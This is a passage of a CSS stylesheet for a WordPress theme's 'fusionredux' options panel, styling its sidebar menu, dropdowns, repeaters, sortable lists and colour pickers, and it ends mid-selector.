.fusionredux-sidebar .fusionredux-group-menu li.active > a { font-weight: 400; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-tab-link-a i { font-size: 14px; top: 10px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.fusion-builder-no-addon-elements.hasSubSections.fusion-section-hover > a:after, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.fusion-builder-no-addon-elements.hasSubSections.fusion-section-hover .subsection { display: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.fusion-builder-no-addon-elements.hasSubSections .subsection { display: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.activeChild .subsection { display: block; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.activeChild .active a:after { content: ""; border: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover { position: relative; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover > a { background-color: $color_back_top_level_hover; color: $color_text_menu_top_level_hover; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover > a:after { z-index: 10002; border-right-color: $color_back_1; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover .subsection { display: block !important; z-index: 10000; position: absolute; top: 0; left: 250px; width: 200px !important; box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover .subsection a { padding: 8px 15px; width: 170px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections.fusion-section-hover .subsection .group_title { padding-left: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li.active > a:after, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu > li.fusion-section-hover > a:after, .fusionredux-container #fusionredux-form-wrapper .fusionredux-sidebar .fusionredux-group-menu li.activeChild > a:after { right: 0; border: 9px solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; border-right-color: #fff; top: 50%; margin-top: -8px; } .fusionredux-container #fusionredux-form-wrapper .fusion-redux-sidebar-head { display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-menu { margin-top: 1em !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main { background: #fff; border-left: none; margin-left: 250px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .custom-heading { border: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .custom-heading .fusionredux_field_th { display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .custom-heading .fusionredux-field-info { font-size: 13px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-text input { width: 100%; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main textarea { padding: 8px; width: 100%; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .meida_upload_button, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input:not([type="radio"]), .fusionredux-container #fusionredux-form-wrapper .fusionredux-main select { height: 31px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container.select3-allowclear .select3-choice .select3-chosen { margin-right: 52px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice { line-height: 29px; box-sizing: border-box; background-image: none !important; background-color: #fff; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice > .select3-chosen { margin-right: 35px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice abbr { right: 37px; top: 1px; height: 100%; background: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice abbr:after { content: "\f335"; font-family: dashicons; font-size: 12px; color: #777; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice .select3-arrow { width: 31px; background-image: none !important; background-color: #fff; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice .select3-arrow b { text-align: center; background: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice .select3-arrow b:after { content: "\f347"; font-family: dashicons; font-size: 12px; color: #777; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container-multi .select3-choices { padding: 0; background: #fff; display: flex; flex-wrap: wrap; border: 1px solid #dfdfdf !important; outline: none; box-shadow: none !important; border-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container-multi .select3-search-field { display: none; flex-grow: 1; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container-multi .select3-search-field:first-child { display: block; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container-multi .select3-search-field input { margin: 0; height: 29px !important; width: 100% !important; border: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container-multi .select3-search-choice { margin: 3px !important; line-height: normal; border-radius: 0; box-shadow: none; background: #F4F2F2; border: 1px solid rgba(0, 0, 0, 0.05); border-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container-multi .select3-search-choice-close { top: 50%; transform: translateY(-50%); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux_field_th a { color: $color_text_menu_top_level_hover; transition: color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); text-decoration: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux_field_th a:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux_field_th a:focus { color: $color_accent_1; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] .fusionredux_field_th { padding-right: 60px !important; width: 50%; box-sizing: border-box; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] ul.fusionredux-image-select li { float: right; max-width: 50%; transition: all 0.5s; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] ul.fusionredux-image-select li:hover { max-width: 100%; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] ul.fusionredux-image-select li label { max-width: 100%; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion-no-fontsize .letter-spacing { margin: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-privacy_bar_content .ui-accordion-content .fusionredux-field-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-social_media_icons .ui-accordion-content .fusionredux-field-container { padding: 5px 0 25px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-privacy_bar_content .ui-accordion-content .fusionredux-field-container .select3-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-social_media_icons .ui-accordion-content .fusionredux-field-container .select3-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-privacy_bar_content .ui-accordion-content .fusionredux-field-container input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-social_media_icons .ui-accordion-content .fusionredux-field-container input { width: 100% !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-privacy_bar_content .ui-accordion-content .wp-picker-input-wrap .button-small, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-social_media_icons .ui-accordion-content .wp-picker-input-wrap .button-small { padding: 0 16px 1px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-color_scheme .fusionredux-image-select label { margin: 0 !important; height: 34px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="bg_pattern"] ul.fusionredux-image-select li label { height: 29px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="bg_pattern"] ul.fusionredux-image-select li img { width: 27px !important; height: 27px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="bg_pattern"] ul.fusionredux-image-select li .fusionredux-image-select-selected img { width: 29px !important; height: 29px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="bg_pattern"] .fusion-pattern-preview { margin-top: 2px; width: 100%; max-width: 403px; height: 120px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion_theme_options-button_typography .letter-spacing { margin-left: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-dimensions-container .input-append .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-dimensions-container .input-prepend .add-on { border: 1px solid rgba(0, 0, 0, 0.1) !important; border-right: none !important; height: 31px; width: 31px; font-size: 12px; background-color: #fff; box-shadow: none !important; box-sizing: border-box; color: rgba(0, 0, 0, 0.5); border: none; padding: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-dimensions-container .input-append .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-dimensions-container .input-prepend .add-on .icon-large { height: 29px; line-height: 29px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-dimensions-container .input-append input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-dimensions-container .input-prepend input { width: 68px; padding-top: 3px; padding-bottom: 3px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-repeater .fusionredux-repeater-accordion-repeater .ui-accordion-content, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-repeater .fusionredux-repeater-accordion-repeater h3.ui-accordion-header { box-shadow: none !important; border-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-repeater .fusionredux-repeater-accordion-repeater .ui-accordion-content { border-top-left-radius: 0px; border-top-right-radius: 0px; border: 1px solid #dfdfdf !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-repeater .fusionredux-repeater-accordion-repeater h3.ui-accordion-header { background-color: #f2f3f5 !important; background-image: none !important; border: 1px solid #dfdfdf !important; color: #93999f !important; font-size: 14px; text-shadow: none; font-weight: 600; text-align: center; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-repeater .fusionredux-repeater-accordion-repeater h4 { margin: 5px 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-sortable .fusionredux-sortable li { margin: 0 0 10px 0 !important; padding: 0 7px; width: 100%; line-height: 1 !important; border: 1px solid rgba(0, 0, 0, 0.05); border-radius: 4px; background-color: #f4f2f2; box-sizing: border-box; position: relative; text-align: center; cursor: move; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-sortable .fusionredux-sortable li:last-child { margin-bottom: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-sortable .fusionredux-sortable li span { margin: 0 !important; height: 34px; line-height: 34px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-sortable .fusionredux-sortable .ui-sortable-placeholder { background: #f3f3f3 !important; border: 1px dashed rgba(0, 0, 0, 0.1) !important; visibility: visible !important; box-shadow: none; padding-left: 0; padding-right: 0; animation: zoomIn 0.3s 1 cubic-bezier(0.77, 0, 0.175, 1); display: block; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container { width: 317px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-active { display: flex; flex-wrap: wrap; justify-content: space-between; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-active .wp-picker-input-wrap, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-active .wp-picker-input-wrap, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-active .wp-picker-input-wrap, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-active .wp-picker-input-wrap { display: inline-flex; justify-content: space-between; width: 200px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-active .wp-picker-input-wrap label, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-active .wp-picker-input-wrap label, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-active .wp-picker-input-wrap label, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-active .wp-picker-input-wrap label { width: 100%; padding-right: 3px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-active .wp-picker-input-wrap input[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-active .wp-picker-input-wrap input[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-active .wp-picker-input-wrap input[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-active .wp-picker-input-wrap input[type="text"] { margin-right: 5px; width: 100% !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .wp-picker-holder, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .wp-picker-holder, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .wp-picker-holder, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .wp-picker-holder { width: 100%; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker { overflow: hidden; width: 100% !important; border-color: #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-square-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-square-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-square-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-square-inner { box-shadow: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-square { border: 1px solid #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-square-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-square-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-square-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-square-inner { border-radius: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-picker-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-picker-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-picker-inner, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-picker-inner { display: flex; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-picker-inner .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-picker-inner .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-picker-inner .iris-slider, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-picker-inner .iris-slider { width: 25px !important; margin-left: 15px !important; height: 100% !important; border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-picker-inner .iris-slider .ui-slider-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-picker-inner .iris-slider .ui-slider-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-picker-inner .iris-slider .ui-slider-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-picker-inner .iris-slider .ui-slider-handle { margin-bottom: -8px; right: 0; left: -3px; border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-picker-inner .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-picker-inner .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-picker-inner .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-picker-inner .iris-square { width: calc(100% - 45px) !important; margin-right: 0; border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker.iris-border, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker.iris-border, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker.iris-border, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker.iris-border { padding-bottom: 30px !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-square-value, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-square-value, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-square-value, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-square-value { display: block; width: 0 !important; height: 0 !important; outline: none; box-shadow: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-picker .iris-square-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-picker .iris-square-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker .iris-square-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-picker .iris-square-handle { top: 50%; left: 50%; transform: translate(-50%, -50%); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-palette-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-palette-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-palette-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-palette-container { display: flex; width: calc(100% - 45px) !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-palette-container > .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-palette-container > .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-palette-container > .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-palette-container > .iris-palette { border: 1px solid #e7e7e7; margin-left: 2px !important; margin-right: 0 !important; width: 19px !important; height: 19px !important; border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; box-shadow: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container .iris-palette-container > .iris-palette:first-child, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container .iris-palette-container > .iris-palette:first-child, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-palette-container > .iris-palette:first-child, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container .iris-palette-container > .iris-palette:first-child { margin-left: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-alpha-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-alpha-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-alpha-container, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-alpha-container { width: 365px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-alpha-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-alpha-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-alpha-container .iris-picker .iris-square, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-alpha-container .iris-picker .iris-square { width: calc(100% - 85px) !important; margin-right: 15px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette { width: 20px !important; height: 20px !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette:first-child, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette:first-child, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette:first-child, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-alpha-container .iris-palette-container > .iris-palette:first-child { margin-left: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap { width: 249px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap label input[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap label input[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap label input[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-typography .wp-picker-container.wp-picker-alpha-container .wp-picker-input-wrap label input[type="text"] { width: 100% !important; } .fusionredux-container 